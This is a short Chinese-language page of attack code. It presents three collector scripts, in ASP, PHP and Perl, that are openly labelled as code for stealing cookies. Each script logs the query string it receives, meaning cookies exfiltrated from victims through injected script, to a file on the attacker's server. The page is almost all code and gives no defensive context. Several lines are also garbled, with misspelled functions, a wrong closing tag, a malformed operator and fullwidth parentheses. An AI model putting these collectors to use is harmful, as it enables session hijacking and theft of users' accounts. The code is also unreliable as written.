注入cookies代碼

ASP盜取cookies的代碼
             <%
               dim strfilename
                strfilename = " mydata.txt "  //數據庫文件存放目錄
               set lP=server.createObject("Adodb.Stream")
               lP.Open
               lP.Type=2
               lP.CharSet="gb2312"
               lP.writetext request.Servervariables ("QUERY_STRING")
               lP.SaveToFile server.mappath (strfilename),2
               lP.Close
               set lP=noting
              &>
PHP盜取cookies的代碼
             <?php
                $info = getenv ("QUERY_STRING");
                if ($info)
                  {
                   $info=urldecode($info);
                   $fp = fopen("info.txt","a");
                   fwirte($fp,$info."\n\n\n\n");
                   fclose($fp);
                  }
                ?>

Perl盜取cookies代碼
              #！/usr/bin/perl
              $borrowed_info = $ENV {'QUERY_STRING'};
              $borrowed_info = ~ s/%（[a-fA-f0-9][a-fA-F0-9]）/pack("C",hex($1))/eg;
              open(EVIL_COOKIE_LOG,">>evil_cookie_log") or print "Content-type:
              text/html\n\n something went wrong\n";
              print EVIL_COOKIE_LOG "$borrowed_info\n";
              print "Content-type: text/html\n\n";
              close (EVIL_COOKIE_LOG);